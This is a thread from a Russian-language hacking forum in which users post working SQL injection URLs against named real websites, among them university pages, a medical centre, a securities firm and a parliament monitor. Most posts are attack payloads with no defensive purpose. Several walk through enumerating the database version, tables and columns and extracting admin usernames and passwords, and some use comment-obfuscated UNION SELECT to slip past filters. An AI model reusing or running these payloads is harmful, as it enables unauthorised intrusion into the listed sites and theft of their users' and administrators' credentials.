HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #201  
Старый 28.11.2018, 01:36
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

Код:
http://www.exxiasports.com/eventos.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10--
Код:
http://www.exxiasports.com/eventos.php?id=-2+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10--
 
Ответить с цитированием

  #202  
Старый 02.12.2018, 00:52
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

Код:
http://www.nichegardens.com/catalog/item.php?id=-1235+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
Код:
http://www.nichegardens.com/catalog/item.php?id=-1235+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
 
Ответить с цитированием

  #203  
Старый 02.12.2018, 14:46
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

John Lawrence Detwiler Memorial Library - Adventist University of the Philippines

Код:
http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,2,3,4,5--
Код:
http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--
Код:
http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+37,8--
Код:
http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,column_name,3,4,5+from+information_schema.columns+where+table_name=%27user%27+limit+0,3--
Код:
http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,username,3,4,5+from+user+limit+0,1--
Код:
http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,password,3,4,5+from+user+limit+0,1--
 
Ответить с цитированием

  #204  
Старый 21.12.2018, 03:35
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

  • International Leasing SecuritiesLtd.
Версия БД:

Код:
http://www.ilslbd.com/content.php?Id=1%27or(ExtractValue(1,concat(0x3a,(select(version())))))=%271
находим нужную таблицу:

Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(table_name%20using%20latin1)+from+information_schema.tables+limit+45,1+--+
играемся с лимитом и получаем нужную колонку:

Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(column_name%20using%20latin1)+from+information_schema.columns+where+table_name=%27admin%27+limit+3,1+--+
получаем админский логин

Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(UserName%20using%20latin1)+from+admin+limit+0,1+--+
ну а дальше сами...
 
Ответить с цитированием

  #205  
Старый 24.12.2018, 19:59
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

Код:
http://www.ub.edu/aqr/fitxa-persones_en.php?id=-8+/*!12345uNIoN*/+/*!12345sELecT*/+1,2,3,user()+--+
 
Ответить с цитированием

  #206  
Старый 03.01.2019, 16:29
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

 
Ответить с цитированием

  #207  
Старый 03.01.2019, 17:17
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

Цитата:
Докрутил ))

Код:
https://www.uni-hohenheim.de/politmonitor/analysen_detail.php?id=-25+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8+--+
Код:
https://www.uni-hohenheim.de/politmonitor/analysen_detail.php?id=-25+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables+limit+17,1+--+
==================================

и кое-что от себя:

IraqParliamentMonitor

Код:
http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,3,4,5--
Код:
http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5--
Код:
http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,table_name,4,5+from+information_schema.tables+limit+0,77--
 
Ответить с цитированием

  #208  
Старый 04.01.2019, 02:39
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

Dr. Khuroo’s Medical Centre

Код:
http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,2,3,4,5,6,7,8+--+
Код:
http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8+--+
Код:
http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,table_name,3,4,5,6,7,8+from+information_schema.tables+limit+90,1+--+
 
Ответить с цитированием

  #209  
Старый 05.01.2019, 18:26
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

Aayojan School of Architecture

Код:
http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10--
Код:
http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10--
Код:
http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10+from+information_schema.tables+limit%2059,1--
Код:
http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,column_name,9,10+from+information_schema.columns+where+table_name=%27admin_login%27+limit%203,5--
 
Ответить с цитированием

  #210  
Старый 05.01.2019, 20:22
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

The Regional Center for Social Science and Sustainble Development

ChiangMaiUniversity

Код:
http://rcsd.soc.cmu.ac.th/home/index.php?button=Submit&ptype=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+&sfile=publication


Код:
http://rcsd.soc.cmu.ac.th/home/index.php?button=Submit&ptype=-3+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12+--+&sfile=publication


Код:
http://rcsd.soc.cmu.ac.th/home/info.php


P.S. Дальше было лень...
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.